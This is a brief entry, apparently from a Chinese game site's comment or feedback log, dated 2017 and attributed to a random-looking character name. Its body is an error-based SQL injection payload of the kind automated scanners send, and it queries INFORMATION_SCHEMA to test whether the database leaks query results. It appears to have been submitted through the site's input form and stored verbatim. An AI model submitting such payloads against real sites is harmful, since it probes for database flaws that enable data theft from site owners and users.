Mr.
服务器：1  角色：dwehmblx  时间：2017-09-01 14:52:39

1 AND (SELECT 5292 FROM(SELECT COUNT(*),CONCAT(0x7178706271,(SELECT (ELT(5292=5292,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- udrl